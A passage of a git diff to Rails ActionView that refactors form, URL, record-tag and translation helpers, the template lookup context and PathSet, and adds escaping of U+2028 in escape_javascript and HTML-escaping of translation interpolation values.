+ def form_tag(url_for_options = {}, options = {}, &block)
+ html_options = html_options_for_form(url_for_options, options)
if block_given?
form_tag_in_block(html_options, &block)
else
@@ -177,9 +177,12 @@ module ActionView
# label_tag 'name', nil, :class => 'small_label'
# # => <label for="name" class="small_label">Name</label>
def label_tag(name = nil, content_or_options = nil, options = nil, &block)
- options = content_or_options if block_given? && content_or_options.is_a?(Hash)
- options ||= {}
- options.stringify_keys!
+ if block_given? && content_or_options.is_a?(Hash)
+ options = content_or_options = content_or_options.stringify_keys
+ else
+ options ||= {}
+ options = options.stringify_keys
+ end
options["for"] = sanitize_to_id(name) unless name.blank? || options.has_key?("for")
content_tag :label, content_or_options || name.to_s.humanize, options, &block
end
@@ -304,7 +307,7 @@ module ActionView
# text_area_tag 'comment', nil, :class => 'comment_input'
# # => <textarea class="comment_input" id="comment" name="comment"></textarea>
def text_area_tag(name, content = nil, options = {})
- options.stringify_keys!
+ options = options.stringify_keys
if size = options.delete("size")
options["cols"], options["rows"] = size.split("x") if size.respond_to?(:split)
@@ -407,7 +410,7 @@ module ActionView
# data-confirm="Are you sure?" />
#
def submit_tag(value = "Save changes", options = {})
- options.stringify_keys!
+ options = options.stringify_keys
if disable_with = options.delete("disable_with")
options["data-disable-with"] = disable_with
@@ -417,7 +420,7 @@ module ActionView
options["data-confirm"] = confirm
end
- tag :input, { "type" => "submit", "name" => "commit", "value" => value }.update(options.stringify_keys)
+ tag :input, { "type" => "submit", "name" => "commit", "value" => value }.update(options)
end
# Creates a button element that defines a <tt>submit</tt> button,
@@ -458,7 +461,7 @@ module ActionView
def button_tag(content_or_options = nil, options = nil, &block)
options = content_or_options if block_given? && content_or_options.is_a?(Hash)
options ||= {}
- options.stringify_keys!
+ options = options.stringify_keys
if disable_with = options.delete("disable_with")
options["data-disable-with"] = disable_with
@@ -497,13 +500,13 @@ module ActionView
# image_submit_tag("agree.png", :disabled => true, :class => "agree_disagree_button")
# # => <input class="agree_disagree_button" disabled="disabled" src="/images/agree.png" type="image" />
def image_submit_tag(source, options = {})
- options.stringify_keys!
+ options = options.stringify_keys
if confirm = options.delete("confirm")
options["data-confirm"] = confirm
end
- tag :input, { "type" => "image", "src" => path_to_image(source) }.update(options.stringify_keys)
+ tag :input, { "type" => "image", "src" => path_to_image(source) }.update(options)
end
# Creates a field set for grouping HTML form elements.
@@ -579,7 +582,7 @@ module ActionView
#
# ==== Examples
# number_field_tag 'quantity', nil, :in => 1...10
- # => <input id="quantity" name="quantity" min="1" max="9" />
+ # => <input id="quantity" name="quantity" min="1" max="9" type="number" />
def number_field_tag(name, value = nil, options = {})
options = options.stringify_keys
options["type"] ||= "number"
@@ -604,12 +607,12 @@ module ActionView
end
private
- def html_options_for_form(url_for_options, options, *parameters_for_url)
+ def html_options_for_form(url_for_options, options)
options.stringify_keys.tap do |html_options|
html_options["enctype"] = "multipart/form-data" if html_options.delete("multipart")
# The following URL is unescaped, this is just a hash of options, and it is the
# responsibility of the caller to escape all the values.
- html_options["action"] = url_for(url_for_options, *parameters_for_url)
+ html_options["action"] = url_for(url_for_options)
html_options["accept-charset"] = "UTF-8"
html_options["data-remote"] = true if html_options.delete("remote")
html_options["authenticity_token"] = html_options.delete("authenticity_token") if html_options.has_key?("authenticity_token")
@@ -653,7 +656,7 @@ module ActionView
if token == false || !protect_against_forgery?
''
else
- token = form_authenticity_token if token.nil?
+ token ||= form_authenticity_token
tag(:input, :type => "hidden", :name => request_forgery_protection_token.to_s, :value => token)
end
end
diff --git a/actionpack/lib/action_view/helpers/javascript_helper.rb b/actionpack/lib/action_view/helpers/javascript_helper.rb
index 4484390fde..842f4c23a3 100644
--- a/actionpack/lib/action_view/helpers/javascript_helper.rb
+++ b/actionpack/lib/action_view/helpers/javascript_helper.rb
@@ -1,4 +1,5 @@
require 'action_view/helpers/tag_helper'
+require 'active_support/core_ext/string/encoding'
module ActionView
module Helpers
@@ -10,15 +11,23 @@ module ActionView
"\n" => '\n',
"\r" => '\n',
'"' => '\\"',
- "'" => "\\'" }
+ "'" => "\\'"
+ }
- # Escape carrier returns and single and double quotes for JavaScript segments.
+ if "ruby".encoding_aware?
+ JS_ESCAPE_MAP["\342\200\250".force_encoding('UTF-8').encode!] = '&#x2028;'
+ else
+ JS_ESCAPE_MAP["\342\200\250"] = '&#x2028;'
+ end
+
+ # Escapes carriage returns and single and double quotes for JavaScript segments.
+ #
# Also available through the alias j(). This is particularly helpful in JavaScript responses, like:
#
# $('some_element').replaceWith('<%=j render 'some/element_template' %>');
def escape_javascript(javascript)
if javascript
- result = javascript.gsub(/(\\|<\/|\r\n|[\n\r"'])/) {|match| JS_ESCAPE_MAP[match] }
+ result = javascript.gsub(/(\\|<\/|\r\n|\342\200\250|[\n\r"'])/u) {|match| JS_ESCAPE_MAP[match] }
javascript.html_safe? ? result.html_safe : result
else
''
@@ -85,7 +94,7 @@ module ActionView
# If +html_options+ has an <tt>:onclick</tt>, that one is put before +function+. Once all
# the JavaScript is set, the helper appends "; return false;".
#
- # The +href+ attribute of the tag is set to "#" unles +html_options+ has one.
+ # The +href+ attribute of the tag is set to "#" unless +html_options+ has one.
#
# link_to_function "Greeting", "alert('Hello world!')", :class => "nav_link"
# # => <a class="nav_link" href="#" onclick="alert('Hello world!'); return false;">Greeting</a>
diff --git a/actionpack/lib/action_view/helpers/number_helper.rb b/actionpack/lib/action_view/helpers/number_helper.rb
index ec6c2c8db3..b37e837a23 100644
--- a/actionpack/lib/action_view/helpers/number_helper.rb
+++ b/actionpack/lib/action_view/helpers/number_helper.rb
@@ -69,7 +69,7 @@ module ActionView
number.gsub!(/(\d{1,3})(\d{3})(\d{4}$)/,"(\\1) \\2#{delimiter}\\3")
else
number.gsub!(/(\d{0,3})(\d{3})(\d{4})$/,"\\1#{delimiter}\\2#{delimiter}\\3")
- number.slice!(0, 1) if number.starts_with?('-')
+ number.slice!(0, 1) if number.starts_with?(delimiter) && !delimiter.blank?
end
str = []
@@ -100,10 +100,10 @@ module ActionView
# number_to_currency(1234567890.50) # => $1,234,567,890.50
# number_to_currency(1234567890.506) # => $1,234,567,890.51
# number_to_currency(1234567890.506, :precision => 3) # => $1,234,567,890.506
- # number_to_currency(1234567890.506, :locale => :fr) # => 1 234 567 890,506 €
+ # number_to_currency(1234567890.506, :locale => :fr) # => 1 234 567 890,51 €
#
# number_to_currency(-1234567890.50, :negative_format => "(%u%n)")
- # # => ($1,234,567,890.51)
+ # # => ($1,234,567,890.50)
# number_to_currency(1234567890.50, :unit => "&pound;", :separator => ",", :delimiter => "")
# # => &pound;1234567890,50
# number_to_currency(1234567890.50, :unit => "&pound;", :separator => ",", :delimiter => "", :format => "%n %u")
@@ -193,7 +193,8 @@ module ActionView
# number_with_delimiter(12345678) # => 12,345,678
# number_with_delimiter(12345678.05) # => 12,345,678.05
# number_with_delimiter(12345678, :delimiter => ".") # => 12.345.678
- # number_with_delimiter(12345678, :separator => ",") # => 12,345,678
+ # number_with_delimiter(12345678, :delimiter => ",") # => 12,345,678
+ # number_with_delimiter(12345678.05, :separator => " ") # => 12,345,678 05
# number_with_delimiter(12345678.05, :locale => :fr) # => 12 345 678,05
# number_with_delimiter(98765432.98, :delimiter => " ", :separator => ",")
# # => 98 765 432,98
diff --git a/actionpack/lib/action_view/helpers/record_tag_helper.rb b/actionpack/lib/action_view/helpers/record_tag_helper.rb
index 142a25f118..b351302d01 100644
--- a/actionpack/lib/action_view/helpers/record_tag_helper.rb
+++ b/actionpack/lib/action_view/helpers/record_tag_helper.rb
@@ -17,6 +17,19 @@ module ActionView
#
# <div id="person_123" class="person foo"> Joe Bloggs </div>
#
+ # You can also pass an array of Active Record objects, which will then
+ # get iterated over and yield each record as an argument for the block.
+ # For example:
+ #
+ # <%= div_for(@people, :class => "foo") do |person| %>
+ # <%= person.name %>
+ # <% end %>
+ #
+ # produces:
+ #
+ # <div id="person_123" class="person foo"> Joe Bloggs </div>
+ # <div id="person_124" class="person foo"> Jane Bloggs </div>
+ #
def div_for(record, *args, &block)
content_tag_for(:div, record, *args, &block)
end
@@ -42,6 +55,21 @@ module ActionView
#
# <tr id="foo_person_123" class="person">...
#
+ # You can also pass an array of objects which this method will loop through
+ # and yield the current object to the supplied block, reducing the need for
+ # having to iterate through the object (using <tt>each</tt>) beforehand.
+ # For example (assuming @people is an array of Person objects):
+ #
+ # <%= content_tag_for(:tr, @people) do |person| %>
+ # <td><%= person.first_name %></td>
+ # <td><%= person.last_name %></td>
+ # <% end %>
+ #
+ # produces:
+ #
+ # <tr id="person_123" class="person">...</tr>
+ # <tr id="person_124" class="person">...</tr>
+ #
# content_tag_for also accepts a hash of options, which will be converted to
# additional HTML attributes. If you specify a <tt>:class</tt> value, it will be combined
# with the default class name for your object. For example:
@@ -52,12 +80,30 @@ module ActionView
#
# <li id="person_123" class="person bar">...
#
- def content_tag_for(tag_name, record, prefix = nil, options = nil, &block)
- options, prefix = prefix, nil if prefix.is_a?(Hash)
- options ||= {}
- options.merge!({ :class => "#{dom_class(record, prefix)} #{options[:class]}".strip, :id => dom_id(record, prefix) })
- content_tag(tag_name, options, &block)
+ def content_tag_for(tag_name, single_or_multiple_records, prefix = nil, options = nil, &block)
+ if single_or_multiple_records.respond_to?(:to_ary)
+ single_or_multiple_records.to_ary.map do |single_record|
+ capture { content_tag_for_single_record(tag_name, single_record, prefix, options, &block) }
+ end.join("\n").html_safe
+ else
+ content_tag_for_single_record(tag_name, single_or_multiple_records, prefix, options, &block)
+ end
end
+
+ private
+
+ # Called by <tt>content_tag_for</tt> internally to render a content tag
+ # for each record.
+ def content_tag_for_single_record(tag_name, record, prefix, options, &block)
+ options, prefix = prefix, nil if prefix.is_a?(Hash)
+ options ||= {}
+ options.merge!({ :class => "#{dom_class(record, prefix)} #{options[:class]}".strip, :id => dom_id(record, prefix) })
+ if block.arity == 0
+ content_tag(tag_name, capture(&block), options)
+ else
+ content_tag(tag_name, capture(record, &block), options)
+ end
+ end
end
end
end
diff --git a/actionpack/lib/action_view/helpers/rendering_helper.rb b/actionpack/lib/action_view/helpers/rendering_helper.rb
index 47efdded42..626e1a1ab7 100644
--- a/actionpack/lib/action_view/helpers/rendering_helper.rb
+++ b/actionpack/lib/action_view/helpers/rendering_helper.rb
@@ -8,7 +8,7 @@ module ActionView
module RenderingHelper
# Returns the result of a render that's dictated by the options hash. The primary options are:
#
- # * <tt>:partial</tt> - See ActionView::Partials.
+ # * <tt>:partial</tt> - See <tt>ActionView::PartialRenderer</tt>.
# * <tt>:file</tt> - Renders an explicit template file (this used to be the old default), add :locals to pass in those.
# * <tt>:inline</tt> - Renders an inline template similar to how it's done in the controller.
# * <tt>:text</tt> - Renders the text passed in out.
@@ -87,4 +87,4 @@ module ActionView
end
end
end
-end \ No newline at end of file
+end
diff --git a/actionpack/lib/action_view/helpers/text_helper.rb b/actionpack/lib/action_view/helpers/text_helper.rb
index ae71ade588..bc8572fe69 100644
--- a/actionpack/lib/action_view/helpers/text_helper.rb
+++ b/actionpack/lib/action_view/helpers/text_helper.rb
@@ -120,7 +120,7 @@ module ActionView
text
else
match = Array(phrases).map { |p| Regexp.escape(p) }.join('|')
- text.gsub(/(#{match})(?!(?:[^<]*?)(?:["'])[^<>]*>)/i, options[:highlighter])
+ text.gsub(/(#{match})(?![^<]*?>)/i, options[:highlighter])
end.html_safe
end
@@ -256,7 +256,7 @@ module ActionView
# # => "<p><span>I'm allowed!</span> It's true.</p>"
def simple_format(text, html_options={}, options={})
text = '' if text.nil?
- text = text.dup if text.frozen?
+ text = text.dup
start_tag = tag('p', html_options, true)
text = sanitize(text) unless options[:sanitize] == false
text = text.to_str
diff --git a/actionpack/lib/action_view/helpers/translation_helper.rb b/actionpack/lib/action_view/helpers/translation_helper.rb
index be64dc823e..cc74eff53a 100644
--- a/actionpack/lib/action_view/helpers/translation_helper.rb
+++ b/actionpack/lib/action_view/helpers/translation_helper.rb
@@ -45,11 +45,18 @@ module ActionView
# you know what kind of output to expect when you call translate in a template.
def translate(key, options = {})
options.merge!(:rescue_format => :html) unless options.key?(:rescue_format)
- translation = I18n.translate(scope_key_by_partial(key), options)
- if html_safe_translation_key?(key) && translation.respond_to?(:html_safe)
- translation.html_safe
+ if html_safe_translation_key?(key)
+ html_safe_options = options.dup
+ options.except(*I18n::RESERVED_KEYS).each do |name, value|
+ unless name == :count && value.is_a?(Numeric)
+ html_safe_options[name] = ERB::Util.html_escape(value.to_s)
+ end
+ end
+ translation = I18n.translate(scope_key_by_partial(key), html_safe_options)
+
+ translation.respond_to?(:html_safe) ? translation.html_safe : translation
else
- translation
+ I18n.translate(scope_key_by_partial(key), options)
end
end
alias :t :translate
diff --git a/actionpack/lib/action_view/helpers/url_helper.rb b/actionpack/lib/action_view/helpers/url_helper.rb
index 51baca8e03..0c2e1aa3a9 100644
--- a/actionpack/lib/action_view/helpers/url_helper.rb
+++ b/actionpack/lib/action_view/helpers/url_helper.rb
@@ -268,7 +268,7 @@ module ActionView
# to change the HTTP verb used to submit the form.
#
# ==== Options
- # The +options+ hash accepts the same options as url_for.
+ # The +options+ hash accepts the same options as +url_for+.
#
# There are a few special +html_options+:
# * <tt>:method</tt> - Symbol of HTTP verb. Supported verbs are <tt>:post</tt>, <tt>:get</tt>,
@@ -279,6 +279,7 @@ module ActionView
# processed normally, otherwise no action is taken.
# * <tt>:remote</tt> - If set to true, will allow the Unobtrusive JavaScript drivers to control the
# submit behavior. By default this behavior is an ajax submit.
+ # * <tt>:form</tt> - This hash will be form attributes
# * <tt>:form_class</tt> - This controls the class of the form within which the submit button will
# be placed
#
@@ -295,6 +296,12 @@ module ActionView
# # </form>"
#
#
+ # <%= button_to "Create", :action => "create", :remote => true, :form => { "data-type" => "json" } %>
+ # # => "<form method="post" action="/images/create" class="button_to" data-remote="true" data-type="json">
+ # # <div><input value="Create" type="submit" /></div>
+ # # </form>"
+ #
+ #
# <%= button_to "Delete Image", { :action => "delete", :id => @image.id },
# :confirm => "Are you sure?", :method => :delete %>
# # => "<form method="post" action="/images/delete/1" class="button_to">
@@ -324,10 +331,11 @@ module ActionView
end
form_method = method.to_s == 'get' ? 'get' : 'post'
- form_class = html_options.delete('form_class') || 'button_to'
-
+ form_options = html_options.delete('form') || {}
+ form_options[:class] ||= html_options.delete('form_class') || 'button_to'
+
remote = html_options.delete('remote')
-
+
request_token_tag = ''
if form_method == 'post' && protect_against_forgery?
request_token_tag = tag(:input, :type => "hidden", :name => request_forgery_protection_token.to_s, :value => form_authenticity_token)
@@ -340,8 +348,10 @@ module ActionView
html_options.merge!("type" => "submit", "value" => name)
- ("<form method=\"#{form_method}\" action=\"#{ERB::Util.html_escape(url)}\" #{"data-remote=\"true\"" if remote} class=\"#{ERB::Util.html_escape(form_class)}\"><div>" +
- method_tag + tag("input", html_options) + request_token_tag + "</div></form>").html_safe
+ form_options.merge!(:method => form_method, :action => url)
+ form_options.merge!("data-remote" => "true") if remote
+
+ "#{tag(:form, form_options, true)}<div>#{method_tag}#{tag("input", html_options)}#{request_token_tag}</div></form>".html_safe
end
@@ -569,6 +579,12 @@ module ActionView
#
# current_page?(:controller => 'library', :action => 'checkout')
# # => false
+ #
+ # Let's say we're in the <tt>/products</tt> action with method POST in case of invalid product.
+ #
+ # current_page?(:controller => 'product', :action => 'index')
+ # # => false
+ #
def current_page?(options)
unless request
raise "You cannot use helpers that need to determine the current " \
@@ -576,6 +592,8 @@ module ActionView
"in a #request method"
end
+ return false unless request.get?
+
url_string = url_for(options)
# We ignore any extra parameters in the request_uri if the
@@ -596,9 +614,7 @@ module ActionView
private
def convert_options_to_data_attributes(options, html_options)
- if html_options.nil?
- link_to_remote_options?(options) ? {'data-remote' => 'true'} : {}
- else
+ if html_options
html_options = html_options.stringify_keys
html_options['data-remote'] = 'true' if link_to_remote_options?(options) || link_to_remote_options?(html_options)
@@ -611,6 +627,8 @@ module ActionView
add_method_to_attributes!(html_options, method) if method
html_options
+ else
+ link_to_remote_options?(options) ? {'data-remote' => 'true'} : {}
end
end
diff --git a/actionpack/lib/action_view/lookup_context.rb b/actionpack/lib/action_view/lookup_context.rb
index 560df15e82..fa4bf70f77 100644
--- a/actionpack/lib/action_view/lookup_context.rb
+++ b/actionpack/lib/action_view/lookup_context.rb
@@ -1,5 +1,6 @@
require 'active_support/core_ext/array/wrap'
require 'active_support/core_ext/object/blank'
+require 'active_support/core_ext/module/remove_method'
module ActionView
# = Action View Lookup Context
@@ -17,23 +18,25 @@ module ActionView
mattr_accessor :registered_details
self.registered_details = []
- mattr_accessor :registered_detail_setters
- self.registered_detail_setters = []
-
def self.register_detail(name, options = {}, &block)
self.registered_details << name
- self.registered_detail_setters << [name, "#{name}="]
+ initialize = registered_details.map { |n| "self.#{n} = details[:#{n}]" }
- Accessors.send :define_method, :"_#{name}_defaults", &block
+ Accessors.send :define_method, :"default_#{name}", &block
Accessors.module_eval <<-METHOD, __FILE__, __LINE__ + 1
def #{name}
@details[:#{name}]
end
def #{name}=(value)
- value = Array.wrap(value.presence || _#{name}_defaults)
+ value = Array.wrap(value.presence || default_#{name})
_set_detail(:#{name}, value) if value != @details[:#{name}]
end
+
+ remove_possible_method :initialize_details
+ def initialize_details(details)
+ #{initialize.join("\n")}
+ end
METHOD
end
@@ -41,8 +44,9 @@ module ActionView
module Accessors #:nodoc:
end
- register_detail(:formats) { Mime::SET.symbols }
register_detail(:locale) { [I18n.locale, I18n.default_locale] }
+ register_detail(:formats) { Mime::SET.symbols }
+ register_detail(:handlers){ Template::Handlers.extensions }
class DetailsKey #:nodoc:
alias :eql? :equal?
@@ -60,38 +64,54 @@ module ActionView
end
end
- def initialize(view_paths, details = {}, prefixes = [])
- @details, @details_key = { :handlers => default_handlers }, nil
- @frozen_formats, @skip_default_locale = false, false
- @cache = true
- @prefixes = prefixes
+ # Add caching behavior on top of Details.
+ module DetailsCache
+ attr_accessor :cache
- self.view_paths = view_paths
- self.registered_detail_setters.each do |key, setter|
- send(setter, details[key])
+ # Calculate the details key. Remove the handlers from calculation to improve performance
+ # since the user cannot modify it explicitly.
+ def details_key #:nodoc:
+ @details_key ||= DetailsKey.get(@details) if @cache
+ end
+
+ # Temporary skip passing the details_key forward.
+ def disable_cache
+ old_value, @cache = @cache, false
+ yield
+ ensure
+ @cache = old_value
+ end
+
+ protected
+
+ def _set_detail(key, value)
+ @details_key = nil
+ @details = @details.dup if @details.frozen?
+ @details[key] = value.freeze
end
end
+ # Helpers related to template lookup using the lookup context information.
module ViewPaths
attr_reader :view_paths
# Whenever setting view paths, makes a copy so we can manipulate then in
# instance objects as we wish.
def view_paths=(paths)
- @view_paths = ActionView::Base.process_view_paths(paths)
+ @view_paths = ActionView::PathSet.new(Array.wrap(paths))
end
- def find(name, prefixes = [], partial = false, keys = [])
- @view_paths.find(*args_for_lookup(name, prefixes, partial, keys))
+ def find(name, prefixes = [], partial = false, keys = [], options = {})
+ @view_paths.find(*args_for_lookup(name, prefixes, partial, keys, options))
end
alias :find_template :find
- def find_all(name, prefixes = [], partial = false, keys = [])
- @view_paths.find_all(*args_for_lookup(name, prefixes, partial, keys))
+ def find_all(name, prefixes = [], partial = false, keys = [], options = {})
+ @view_paths.find_all(*args_for_lookup(name, prefixes, partial, keys, options))
end
- def exists?(name, prefixes = [], partial = false, keys = [])
- @view_paths.exists?(*args_for_lookup(name, prefixes, partial, keys))
+ def exists?(name, prefixes = [], partial = false, keys = [], options = {})
+ @view_paths.exists?(*args_for_lookup(name, prefixes, partial, keys, options))
end
alias :template_exists? :exists?
@@ -110,16 +130,29 @@ module ActionView
protected
- def args_for_lookup(name, prefixes, partial, keys) #:nodoc:
+ def args_for_lookup(name, prefixes, partial, keys, details_options) #:nodoc:
name, prefixes = normalize_name(name, prefixes)
- [name, prefixes, partial || false, @details, details_key, keys]
+ details, details_key = detail_args_for(details_options)
+ [name, prefixes, partial || false, details, details_key, keys]
+ end
+
+ # Compute details hash and key according to user options (e.g. passed from #render).
+ def detail_args_for(options)
+ return @details, details_key if options.empty? # most common path.
+ user_details = @details.merge(options)
+ [user_details, DetailsKey.get(user_details)]
end
# Support legacy foo.erb names even though we now ignore .erb
# as well as incorrectly putting part of the path in the template
# name instead of the prefix.
def normalize_name(name, prefixes) #:nodoc:
- name = name.to_s.gsub(handlers_regexp, '')
+ name = name.to_s.sub(handlers_regexp) do |match|
+ ActiveSupport::Deprecation.warn "Passing a template handler in the template name is deprecated. " \
+ "You can simply remove the handler name or pass render :handlers => [:#{match[1..-1]}] instead.", caller
+ ""
+ end
+
parts = name.split('/')
name = parts.pop
@@ -132,120 +165,82 @@ module ActionView
return name, prefixes
end
- def default_handlers #:nodoc:
- @@default_handlers ||= Template::Handlers.extensions
- end
-
def handlers_regexp #:nodoc:
@@handlers_regexp ||= /\.(?:#{default_handlers.join('|')})$/
end
end
- module Details
- attr_accessor :cache
-
- # Calculate the details key. Remove the handlers from calculation to improve performance
- # since the user cannot modify it explicitly.
- def details_key #:nodoc:
- @details_key ||= DetailsKey.get(@details) if @cache
- end
-
- # Temporary skip passing the details_key forward.
- def disable_cache
- old_value, @cache = @cache, false
- yield
- ensure
- @cache = old_value
- end
+ include Accessors
+ include DetailsCache
+ include ViewPaths
- # Freeze the current formats in the lookup context. By freezing them, you are guaranteeing
- # that next template lookups are not going to modify the formats. The controller can also
- # use this, to ensure that formats won't be further modified (as it does in respond_to blocks).
- def freeze_formats(formats, unless_frozen=false) #:nodoc:
- return if unless_frozen && @frozen_formats
- self.formats = formats
- @frozen_formats = true
- end
+ def initialize(view_paths, details = {}, prefixes = [])
+ @details, @details_key = {}, nil
+ @frozen_formats, @skip_default_locale = false, false
+ @cache = true
+ @prefixes = prefixes
- # Overload formats= to expand ["*/*"] values and automatically
- # add :html as fallback to :js.
- def formats=(values)
- if values
- values.concat(_formats_defaults) if values.delete "*/*"
- values << :html if values == [:js]
- end
- super(values)
- end
+ self.view_paths = view_paths
+ initialize_details(details)
+ end
- # Do not use the default locale on template lookup.
- def skip_default_locale!
- @skip_default_locale = true
- self.locale = nil
- end
+ # Freeze the current formats in the lookup context. By freezing them, you
+ # that next template lookups are not going to modify the formats. The con
+ # use this, to ensure that formats won't be further modified (as it does
+ def freeze_formats(formats, unless_frozen=false) #:nodoc:
+ return if unless_frozen && @frozen_formats
+ self.formats = formats
+ @frozen_formats = true
+ end
- # Overload locale to return a symbol instead of array.
- def locale
- @details[:locale].first
+ # Override formats= to expand ["*/*"] values and automatically
+ # add :html as fallback to :js.
+ def formats=(values)
+ if values
+ values.concat(default_formats) if values.delete "*/*"
+ values << :html if values == [:js]
end
+ super(values)
+ end
- # Overload locale= to also set the I18n.locale. If the current I18n.config object responds
- # to original_config, it means that it's has a copy of the original I18n configuration and it's
- # acting as proxy, which we need to skip.
- def locale=(value)
- if value
- config = I18n.config.respond_to?(:original_config) ? I18n.config.original_config : I18n.config
- config.locale = value
- end
+ # Do not use the default locale on template lookup.
+ def skip_default_locale!
+ @skip_default_locale = true
+ self.locale = nil
+ end
- super(@skip_default_locale ? I18n.locale : _locale_defaults)
- end
+ # Override locale to return a symbol instead of array.
+ def locale
+ @details[:locale].first
+ end
- # A method which only uses the first format in the formats array for layout lookup.
- # This method plays straight with instance variables for performance reasons.
- def with_layout_format
- if formats.size == 1
- yield
- else
- old_formats = formats
- _set_detail(:formats, formats[0,1])
-
- begin
- yield
- ensure
- _set_detail(:formats, old_formats)
- end
- end
+ # Overload locale= to also set the I18n.locale. If the current I18n.config object responds
+ # to original_config, it means that it's has a copy of the original I18n configuration and it's
+ # acting as proxy, which we need to skip.
+ def locale=(value)
+ if value
+ config = I18n.config.respond_to?(:original_config) ? I18n.config.original_config : I18n.config
+ config.locale = value
end
- # Update the details keys by merging the given hash into the current
- # details hash. If a block is given, the details are modified just during
- # the execution of the block and reverted to the previous value after.
- def update_details(new_details)
- old_details = @details.dup
+ super(@skip_default_locale ? I18n.locale : default_locale)
+ end
- registered_detail_setters.each do |key, setter|
- send(setter, new_details[key]) if new_details.key?(key)
- end
+ # A method which only uses the first format in the formats array for layout lookup.
+ # This method plays straight with instance variables for performance reasons.
+ def with_layout_format
+ if formats.size == 1
+ yield
+ else
+ old_formats = formats
+ _set_detail(:formats, formats[0,1])
begin
yield
ensure
- @details_key = nil
- @details = old_details
+ _set_detail(:formats, old_formats)
end
end
-
- protected
-
- def _set_detail(key, value)
- @details_key = nil
- @details = @details.dup if @details.frozen?
- @details[key] = value.freeze
- end
end
-
- include Accessors
- include Details
- include ViewPaths
end
end
diff --git a/actionpack/lib/action_view/path_set.rb b/actionpack/lib/action_view/path_set.rb
index e0cb5d6a70..bbb1af8154 100644
--- a/actionpack/lib/action_view/path_set.rb
+++ b/actionpack/lib/action_view/path_set.rb
@@ -1,11 +1,55 @@
module ActionView #:nodoc:
# = Action View PathSet
- class PathSet < Array #:nodoc:
- %w(initialize << concat insert push unshift).each do |method|
+ class PathSet #:nodoc:
+ include Enumerable
+
+ attr_reader :paths
+
+ def initialize(paths = [])
+ @paths = typecast paths
+ end
+
+ def initialize_copy(other)
+ @paths = other.paths.dup
+ self
+ end
+
+ def [](i)
+ paths[i]
+ end
+
+ def to_ary
+ paths.dup
+ end
+
+ def include?(item)
+ paths.include? item
+ end
+
+ def pop
+ paths.pop
+ end
+
+ def size
+ paths.size
+ end
+
+ def each(&block)
+ paths.each(&block)
+ end
+
+ def compact
+ PathSet.new paths.compact
+ end
+
+ def +(array)
+ PathSet.new(paths + array)
+ end
+
+ %w(<< concat push insert unshift).each do |method|
class_eval <<-METHOD, __FILE__, __LINE__ + 1
def #{method}(*args)
- super
- typecast!
+ paths.#{method}(*typecast(args))
end
METHOD
end
@@ -17,7 +61,7 @@ module ActionView #:nodoc:
def find_all(path, prefixes = [], *args)
prefixes = [prefixes] if String === prefixes
prefixes.each do |prefix|
- each do |resolver|
+ paths.each do |resolver|
templates = resolver.find_all(path, prefix, *args)
return templates unless templates.empty?
end
@@ -25,17 +69,20 @@ module ActionView #:nodoc:
[]
end
- def exists?(*args)
- find_all(*args).any?
+ def exists?(path, prefixes, *args)
+ find_all(path, prefixes, *args).any?
end
- protected
+ private
- def typecast!
- each_with_index do |path, i|
- path = path.to_s if path.is_a?(Pathname)
- next unless path.is_a?(String)
- self[i] = OptimizedFileSystemResolver.new(path)
+ def typecast(paths)
+ paths.map do |path|
+ case path
+ when Pathname, String
+ OptimizedFileSystemResolver.new path.to_s
+ else
+ path
+ end
end
end
end
diff --git a/actionpack/lib/action_view/renderer/abstract_renderer.rb b/actionpack/lib/action_view/renderer/abstract_renderer.rb
index 60c527beeb..c0936441ac 100644
--- a/actionpack/lib/action_view/renderer/abstract_renderer.rb
+++ b/actionpack/lib/action_view/renderer/abstract_renderer.rb
@@ -11,15 +11,22 @@ module ActionView
raise NotImplementedError
end
- # Checks if the given path contains a format and if so, change
- # the lookup context to take this new format into account.
- def wrap_formats(value)
- return yield unless value.is_a?(String)
-
- if value.sub!(formats_regexp, "")
- update_details(:formats => [$1.to_sym]){ yield }
- else
- yield
+ protected
+
+ def extract_details(options)
+ details = {}
+ @lookup_context.registered_details.each do |key|
+ next unless value = options[key]
+ details[key] = Array.wrap(value)
+ end
+ details
+ end
+
+ def extract_format(value, details)
+ if value.is_a?(String) && value.sub!(formats_regexp, "")
+ ActiveSupport::Deprecation.warn "Passing the format in the template name is deprecated. " \
+ "Please pass render with :formats => [:#{$1}] instead.", caller
+ details[:formats] ||= [$1.to_sym]
end
end
@@ -27,8 +34,6 @@ module ActionView
@@formats_regexp ||= /\.(#{Mime::SET.symbols.join('|')})$/
end
- protected
-
def instrument(name, options={})
ActiveSupport::Notifications.instrument("render_#{name}.action_view", options){ yield }
end
diff --git a/actionpack/lib/action_view/renderer/partial_renderer.rb b/actionpack/lib/action_view/renderer/partial_renderer.rb
index f67388b8cf..54a0ba96ff 100644
--- a/actionpack/lib/action_view/renderer/partial_renderer.rb
+++ b/actionpack/lib/action_view/renderer/partial_renderer.rb
@@ -27,7 +27,7 @@ module ActionView
#
# == The :as and :object options
#
- # By default <tt>ActionView::Partials::PartialRenderer</tt> doesn't have any local variables.
+ # By default <tt>ActionView::PartialRenderer</tt> doesn't have any local variables.
# The <tt>:object</tt> option can be used to pass an object to the partial. For instance:
#
# <%= render :partial => "account", :object => @buyer %>
@@ -216,18 +216,15 @@ module ActionView
def render(context, options, block)
setup(context, options, block)
+ identifier = (@template = find_partial) ? @template.identifier : @path
- wrap_formats(@path) do
- identifier = ((@template = find_partial) ? @template.identifier : @path)
-
- if @collection
- instrument(:collection, :identifier => identifier || "collection", :count => @collection.size) do
- render_collection
- end
- else
- instrument(:partial, :identifier => identifier) do
- render_partial
- end
+ if @collection
+ instrument(:collection, :identifier => identifier || "collection", :count => @collection.size) do
+ render_collection
+ end
+ else
+ instrument(:partial, :identifier => identifier) do
+ render_partial
end
end
end
@@ -271,6 +268,7 @@ module ActionView
@options = options
@locals = options[:locals] || {}
@block = block
+ @details = extract_details(options)
if String === partial
@object = options[:object]
@@ -299,6 +297,7 @@ module ActionView
"and is followed by any combinations of letters, numbers, or underscores.")
end
+ extract_format(@path, @details)
self
end
@@ -326,7 +325,7 @@ module ActionView
def find_template(path=@path, locals=@locals.keys)
prefixes = path.include?(?/) ? [] : @lookup_context.prefixes
- @lookup_context.find_template(path, prefixes, true, locals)
+ @lookup_context.find_template(path, prefixes, true, locals, @details)
end
def collection_with_template
@@ -364,11 +363,16 @@ module ActionView
def partial_path(object = @object)
object = object.to_model if object.respond_to?(:to_model)
- path = if object.respond_to?(:to_path)
- object.to_path
+ path = if object.respond_to?(:to_partial_path)
+ object.to_partial_path
else
